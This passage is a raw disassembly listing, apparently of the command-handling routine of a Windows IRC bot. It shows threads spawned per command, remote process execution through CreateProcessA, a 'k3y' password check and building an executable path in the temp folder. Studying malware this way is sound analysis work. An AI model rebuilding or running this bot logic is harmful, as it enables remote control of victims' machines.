ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_407BB0 loc_407B9A: ; CODE XREF: sub_401CC7+5EE7j cmp [ebp+var_4D0], ebx jnz loc_403F5A push 32h call ds:dword_4F6380 ; Sleep jmp short loc_407B9A ; --------------------------------------------------------------------------- loc_407BB0: ; CODE XREF: sub_401CC7+5ED1j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_44417C jmp loc_403F4B ; --------------------------------------------------------------------------- loc_407BC1: ; CODE XREF: sub_401CC7+5035j ; sub_401CC7+504Cj push edi ; Str call _atoi imul eax, 234h pop ecx cmp byte_457140[eax], bl jz loc_409B47 cmp [ebp+var_C], ebx jz loc_409B47 push [ebp+arg_18] ; Str call _strlen push edi ; Str mov esi, eax call _strlen push [ebp+arg_8] ; Str add esi, eax call _strlen add eax, [ebp+var_C] push [ebp+Src] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr add esp, 14h mov esi, eax lea eax, [ebp+Dst] push esi push offset dword_444100 ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp esi, ebx jz loc_409B47 push edi ; Str call _atoi test eax, eax pop ecx jle loc_409B47 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B47 push ebx ; int lea eax, [ebp+Dst] push ebx ; int push eax ; int push [ebp+arg_18] ; Str push edi ; Str call _atoi imul eax, 234h pop ecx push dword_457134[eax] ; int call sub_409D6C push edi ; Str call _atoi imul eax, 234h add esp, 18h cmp byte ptr dword_456F28[eax], 73h jnz loc_409B47 push esi push edi ; Str call _atoi imul eax, 234h pop ecx add eax, offset byte_457140 push eax push [ebp+arg_18] push offset aSSS ; "[%s] * %s %s" jmp loc_407D81 ; --------------------------------------------------------------------------- loc_407CB1: ; CODE XREF: sub_401CC7+5007j ; sub_401CC7+501Ej push edi ; Str call _atoi imul eax, 234h pop ecx cmp byte_457140[eax], bl jz loc_409B47 cmp [ebp+var_C], ebx jz loc_409B47 push [ebp+arg_18] ; Str call _strlen push edi ; Str mov esi, eax call _strlen push [ebp+arg_8] ; Str add esi, eax call _strlen add eax, [ebp+var_C] push [ebp+Src] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 14h cmp esi, ebx jz loc_409B47 push edi ; Str call _atoi test eax, eax pop ecx jle loc_409B47 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B47 push ebx ; int push ebx ; int push esi ; int push [ebp+arg_18] ; Str push edi ; Str call _atoi imul eax, 234h pop ecx push dword_457134[eax] ; int call sub_409D6C push edi ; Str call _atoi imul eax, 234h add esp, 18h cmp byte ptr dword_456F28[eax], 73h jnz loc_409B47 push esi push edi ; Str call _atoi imul eax, 234h pop ecx add eax, offset byte_457140 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" loc_407D81: ; CODE XREF: sub_401CC7+5FE5j lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 28h jmp loc_409B47 ; --------------------------------------------------------------------------- loc_407DAE: ; CODE XREF: sub_401CC7+4FD9j ; sub_401CC7+4FF0j push edi call dword_4E4260 ; inet_addr push [ebp+arg_18] ; Str mov [ebp+var_680], eax call _atoi push [ebp+Src] ; Str mov [ebp+var_690], eax call _atoi mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax ; Dest call _strncpy add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Dst] push offset asc_444058 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B78E add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset sub_40CECD push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_407E90 loc_407E7A: ; CODE XREF: sub_401CC7+61C7j cmp [ebp+var_670], ebx jnz loc_403F5A push 32h call ds:dword_4F6380 ; Sleep jmp short loc_407E7A ; --------------------------------------------------------------------------- loc_407E90: ; CODE XREF: sub_401CC7+61B1j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_444094 jmp loc_403F4B ; --------------------------------------------------------------------------- loc_407EA1: ; CODE XREF: sub_401CC7+4FABj ; sub_401CC7+4FC2j push edi ; Str call _atoi push 7Fh ; Count mov [ebp+var_112C], eax push [ebp+arg_18] ; Source lea eax, [ebp+var_1230] push eax ; Dest call _strncpy push [ebp+Src] ; Str call _atoi mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+Format] ; Format mov [ebp+var_1238], esi push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AFA9 pop ecx push eax lea eax, [ebp+Dst] push offset asc_443FCC ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 18h ; int push eax ; Source call sub_40B78E add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset sub_410E63 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_407F8D loc_407F77: ; CODE XREF: sub_401CC7+62C4j cmp [ebp+var_1118], ebx jnz loc_403F5A push 32h call ds:dword_4F6380 ; Sleep jmp short loc_407F77 ; --------------------------------------------------------------------------- loc_407F8D: ; CODE XREF: sub_401CC7+62AEj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_444008 jmp loc_403F4B ; --------------------------------------------------------------------------- loc_407F9E: ; CODE XREF: sub_401CC7+4F7Dj ; sub_401CC7+4F94j push 0FFh ; Count lea eax, [ebp+var_2878] push edi ; Source push eax ; Dest call _strncpy push 0FFh ; Count lea eax, [ebp+var_2778] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push [ebp+Src] ; Str mov [ebp+var_2674], ebx call _atoi mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407FF7 push 10h ; Radix push ebx ; EndPtr push eax ; Str call _strtoul add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407FFD ; --------------------------------------------------------------------------- loc_407FF7: ; CODE XREF: sub_401CC7+631Aj mov [ebp+var_2668], ebx loc_407FFD: ; CODE XREF: sub_401CC7+632Ej mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_408014 push esi ; Str call _atoi pop ecx mov [ebp+var_266C], eax jmp short loc_40801A ; --------------------------------------------------------------------------- loc_408014: ; CODE XREF: sub_401CC7+633Cj mov [ebp+var_266C], ebx loc_40801A: ; CODE XREF: sub_401CC7+634Bj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2660], eax lea eax, [ebp+Dst] push edi push offset asc_443F50 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push 1Dh ; int push eax ; Source call sub_40B78E add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset sub_416F9A push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_4080CB loc_4080B5: ; CODE XREF: sub_401CC7+6402j cmp [ebp+var_2658], ebx jnz loc_4075C0 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_4080B5 ; --------------------------------------------------------------------------- loc_4080CB: ; CODE XREF: sub_401CC7+63ECj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_443F7C jmp loc_4075B1 ; --------------------------------------------------------------------------- loc_4080DC: ; CODE XREF: sub_401CC7+4F4Fj ; sub_401CC7+4F66j push 7Fh lea eax, [ebp+var_3490] pop esi push esi ; Count push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3410] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3390] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3310] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+Dst] push [ebp+arg_18] mov [ebp+var_3494], esi push edi push offset asc_443ECC ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 12h ; int push eax ; Source call sub_40B78E add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset sub_41554A push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_4081B3 loc_40819D: ; CODE XREF: sub_401CC7+64EAj cmp [ebp+var_3284], ebx jnz loc_4075C0 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_40819D ; --------------------------------------------------------------------------- loc_4081B3: ; CODE XREF: sub_401CC7+64D4j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_443F08 jmp loc_4075B1 ; --------------------------------------------------------------------------- loc_4081C4: ; CODE XREF: sub_401CC7+4E22j ; sub_401CC7+4E39j push 7Fh lea eax, [ebp+var_3068] pop esi push esi ; Count push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_2FE8] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_2F68] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_2EE8] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+Dst] push [ebp+arg_18] mov [ebp+var_306C], esi push edi push offset asc_443DDC ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Eh ; int push eax ; Source call sub_40B78E add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset sub_414285 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_40829B loc_408285: ; CODE XREF: sub_401CC7+65D2j cmp [ebp+var_2E5C], ebx jnz loc_4075C0 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_408285 ; --------------------------------------------------------------------------- loc_40829B: ; CODE XREF: sub_401CC7+65BCj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_443E0C jmp loc_4075B1 ; --------------------------------------------------------------------------- loc_4082AC: ; CODE XREF: sub_401CC7+4CF9j ; sub_401CC7+4D10j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi ; Count push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3C64] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3BE4] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3B64] push [ebp+Format] ; Source push eax ; Dest call _strncpy push 20h ; Count lea eax, [ebp+var_3AE4] push [ebp+arg_8] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+Dst] push [ebp+arg_18] mov [ebp+var_3CEC], esi push edi push offset asc_443D18 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Dh ; int push eax ; Source call sub_40B78E add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset sub_41350C push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_408394 loc_40837E: ; CODE XREF: sub_401CC7+66CBj cmp [ebp+var_3A5C], ebx jnz loc_4075C0 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_40837E ; --------------------------------------------------------------------------- loc_408394: ; CODE XREF: sub_401CC7+66B5j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_443D48 jmp loc_4075B1 ; --------------------------------------------------------------------------- loc_4083A5: ; CODE XREF: sub_401CC7+4CCBj ; sub_401CC7+4CE2j push 7Fh ; Count lea eax, [ebp+var_1778] push edi ; Source push eax ; Dest call _strncpy push [ebp+arg_18] ; Str call _atoi push 3Fh ; Count mov [ebp+var_1628], eax push [ebp+Src] ; Source lea eax, [ebp+var_16F8] push eax ; Dest call _strncpy mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4083F0 push 3Fh ; Count lea eax, [ebp+var_16B8] push esi ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_4083F0: ; CODE XREF: sub_401CC7+6715j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+Dst] push offset asc_443C88 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Fh ; int push eax ; Source call sub_40B78E add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4019E7 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_40847C loc_408466: ; CODE XREF: sub_401CC7+67B3j cmp [ebp+var_161C], ebx jnz loc_407028 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_408466 ; --------------------------------------------------------------------------- loc_40847C: ; CODE XREF: sub_401CC7+679Dj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset dword_443CB8 jmp loc_407019 ; --------------------------------------------------------------------------- loc_40848D: ; CODE XREF: sub_401CC7+4C8Bj ; sub_401CC7+4CA2j push [ebp+arg_18] ; Str call _atoi cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408580 mov esi, 80h push edi ; Format lea eax, [ebp+var_1EEC] push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+Format] ; Format setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_1D58], eax lea eax, [ebp+Dst] push edi push offset asc_443BE0 ; "-" push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 15h ; int push eax ; Source call sub_40B78E add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset sub_413956 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_40856F loc_40855D: ; CODE XREF: sub_401CC7+68A6j cmp [ebp+var_1D54], ebx jnz short loc_4085D7 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_40855D ; --------------------------------------------------------------------------- loc_40856F: ; CODE XREF: sub_401CC7+6894j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_443C0C jmp loc_404BEE ; --------------------------------------------------------------------------- loc_408580: ; CODE XREF: sub_401CC7+67D7j push offset unk_443C44 jmp loc_40724C ; --------------------------------------------------------------------------- loc_40858A: ; CODE XREF: sub_401CC7+4C5Dj ; sub_401CC7+4C74j push [ebp+arg_18] push edi call ds:dword_4F63BC ; MoveFileA test eax, eax jz short loc_4085B7 push [ebp+arg_18] lea eax, [ebp+Dst] push edi push offset asc_443B9C ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_4085D7 ; --------------------------------------------------------------------------- loc_4085B7: ; CODE XREF: sub_401CC7+68CFj push offset dword_443BC0 call sub_418E9D pop ecx push eax ; Format lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf loc_4085D4: ; CODE XREF: sub_401CC7+2F33j ; sub_401CC7+56BDj add esp, 0Ch loc_4085D7: ; CODE XREF: sub_401CC7+20F6j ; sub_401CC7+2ED5j ... cmp [ebp+var_8], ebx jnz loc_408708 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int loc_4085F4: ; CODE XREF: sub_401CC7+5914j call sub_409D6C add esp, 14h jmp loc_408708 ; --------------------------------------------------------------------------- loc_408601: ; CODE XREF: sub_401CC7+4C2Fj ; sub_401CC7+4C46j push edi ; Format lea eax, [ebp+var_3F04] push 104h ; Count push eax ; Dest call __snprintf add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_40863B push [ebp+arg_18] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_40863B push eax ; Format lea eax, [ebp+var_3E00] push eax ; Dest call _sprintf pop ecx pop ecx loc_40863B: ; CODE XREF: sub_401CC7+6952j ; sub_401CC7+6963j push [ebp+Format] ; Format lea eax, [ebp+var_3F84] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset asc_443B24 ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 24h ; int push eax ; Source call sub_40B78E add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset sub_41785A push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_4086ED loc_4086DB: ; CODE XREF: sub_401CC7+6A24j cmp [ebp+var_3CF0], ebx jnz short loc_408708 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_4086DB ; --------------------------------------------------------------------------- loc_4086ED: ; CODE XREF: sub_401CC7+6A12j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset asc_443B54 ; "-" loc_4086F9: ; CODE XREF: sub_401CC7+8F1j ; sub_401CC7+A2Fj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_408708: ; CODE XREF: sub_401CC7+7B6j ; sub_401CC7+918j ... push 1 pop esi jmp loc_40704C ; --------------------------------------------------------------------------- loc_408710: ; CODE XREF: sub_401CC7+4C01j ; sub_401CC7+4C18j push 44h lea eax, [ebp+var_668] pop esi push esi ; Size push ebx ; Val push eax ; Dst call _memset push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push edi ; Str mov [ebp+var_63C], esi call _atoi add esp, 10h cmp eax, esi jnz short loc_40874D mov [ebp+var_638], 5 loc_40874D: ; CODE XREF: sub_401CC7+6A7Bj cmp [ebp+var_C], ebx jz loc_407028 push [ebp+arg_18] ; SubStr push [ebp+var_C] ; Str call _strstr mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_407028 lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call ds:dword_4F6374 ; CreateProcessA test eax, eax jnz short loc_408798 push offset unk_443AD4 jmp loc_40891F ; --------------------------------------------------------------------------- loc_408798: ; CODE XREF: sub_401CC7+6AC5j push edi push offset dword_443AF8 jmp loc_407019 ; --------------------------------------------------------------------------- loc_4087A3: ; CODE XREF: sub_401CC7+4BD3j ; sub_401CC7+4BEAj push [ebp+arg_18] ; Str2 push offset aK3y ; "k3y" call _strcmp pop ecx test eax, eax pop ecx jz loc_40891A lea eax, [ebp+var_48F0] push eax push 104h call ds:dword_4F63B8 ; GetTempPathA push 0FFh ; Count lea eax, [ebp+var_25D0] push edi ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_17D0] push eax call sub_40B16D add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax ; Dest call _sprintf mov eax, [ebp+esi+Str2] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_408838 push 10h ; Radix push ebx ; EndPtr push eax ; Str call _strtoul add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_40883E ; --------------------------------------------------------------------------- loc_408838: ; CODE XREF: sub_401CC7+6B5Bj mov [ebp+var_23C0], ebx loc_40883E: ; CODE XREF: sub_401CC7+6B6Fj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408855 push esi ; Str call _atoi pop ecx mov [ebp+var_23C4], eax jmp short loc_40885B ; --------------------------------------------------------------------------- loc_408855: ; CODE XREF: sub_401CC7+6B7Dj mov [ebp+var_23C4], ebx loc_40885B: ; CODE XREF: sub_401CC7+6B8Cj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] mov [ebp+var_23B8], eax push edi lea eax, [ebp+Dst] push offset asc_443A18 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push 1Eh ; int push eax ; Source call sub_40B78E add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset sub_416F9A push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_408909 loc_4088F3: ; CODE XREF: sub_401CC7+6C40j cmp [ebp+var_23B0], ebx jnz loc_407028 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_4088F3 ; --------------------------------------------------------------------------- loc_408909: ; CODE XREF: sub_401CC7+6C2Aj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset dword_443A44 jmp loc_407019 ; --------------------------------------------------------------------------- loc_40891A: ; CODE XREF: sub_401CC7+6AEDj push offset asc_443A80 ; "-" loc_40891F: ; CODE XREF: sub_401CC7+2E7Cj ; sub_401CC7+45F6j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_407028 ; --------------------------------------------------------------------------- loc_408932: ; CODE XREF: sub_401CC7+4BA5j ; sub_401CC7+4BBCj push dword ptr [ebp+Args] ; Str2 push offset a332_0 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_402166 cmp [ebp+var_C], ebx jz loc_402166 push [ebp+arg_18] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx pop ecx push eax lea eax, [ebp+Dst] push [ebp+Format] push dword ptr [ebp+Args] push [ebp+var_90] push offset aSSSS ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy push edi ; Str call _atoi add esp, 28h test eax, eax jle short loc_4089BB push edi ; Str call _atoi imul eax, 3E8h pop ecx push eax call ds:dword_4F6380 ; Sleep loc_4089BB: ; CODE XREF: sub_401CC7+6CDEj push offset dword_4439EC call sub_415C77 mov eax, [ebp+File] pop ecx inc eax jmp loc_402169 ; --------------------------------------------------------------------------- loc_4089CF: ; CODE XREF: sub_401CC7+4B77j ; sub_401CC7+4B8Ej push dword ptr [ebp+Args] ; Str2 push offset a332_1 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_402166 cmp [ebp+var_C], ebx jz loc_409B47 push [ebp+arg_18] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat_0 ; "repeat" push eax ; Str1 call _strcmp add esp, 10h test eax, eax push esi jz short loc_408A8E push [ebp+Format] lea eax, [ebp+Dst] push dword ptr [ebp+Args] push [ebp+var_90] push offset aSSSS_0 ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy add esp, 24h lea eax, [ebp+Dst] push esi push offset asc_443980 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_415C77 push edi ; Str call _atoi add esp, 14h test eax, eax jle loc_409B47 push edi ; Str call _atoi add eax, [ebp+File] pop ecx jmp loc_402169 ; --------------------------------------------------------------------------- loc_408A8E: ; CODE XREF: sub_401CC7+6D4Dj push offset asc_443998 ; "-" loc_408A93: ; CODE XREF: sub_401CC7+76A5j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_408AA2: ; CODE XREF: sub_401CC7+762Dj ; sub_401CC7+777Ej cmp [ebp+var_8], ebx jnz short loc_408AC3 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h loc_408AC3: ; CODE XREF: sub_401CC7+6DDEj ; sub_401CC7+741Dj ... lea eax, [ebp+Dst] push eax call sub_415C77 jmp loc_409B46 ; --------------------------------------------------------------------------- loc_408AD4: ; CODE XREF: sub_401CC7+4B49j ; sub_401CC7+4B60j push 7Fh ; Count lea eax, [ebp+var_2214] push edi ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_2194] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_2114] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2090], eax mov eax, [ebp+var_8] mov [ebp+var_2218], esi push [ebp+arg_18] mov [ebp+var_208C], eax lea eax, [ebp+Dst] push edi push offset asc_4438E8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Fh ; int push eax ; Source call sub_40B78E add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset sub_414E84 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_408B98 loc_408B82: ; CODE XREF: sub_401CC7+6ECFj cmp [ebp+var_2088], ebx jnz loc_408C84 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_408B82 ; --------------------------------------------------------------------------- loc_408B98: ; CODE XREF: sub_401CC7+6EB9j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_44391C jmp loc_408C75 ; --------------------------------------------------------------------------- loc_408BA9: ; CODE XREF: sub_401CC7+4B1Bj ; sub_401CC7+4B32j push 7Fh ; Count lea eax, [ebp+var_23A8] push edi ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_2328] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_22A8] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2224], eax mov eax, [ebp+var_8] mov [ebp+var_23AC], esi push [ebp+arg_18] mov [ebp+var_2220], eax lea eax, [ebp+Dst] push edi push offset asc_443874 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 11h ; int push eax ; Source call sub_40B78E add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset sub_414630 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_408C69 loc_408C57: ; CODE XREF: sub_401CC7+6FA0j cmp [ebp+var_221C], ebx jnz short loc_408C84 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_408C57 ; --------------------------------------------------------------------------- loc_408C69: ; CODE XREF: 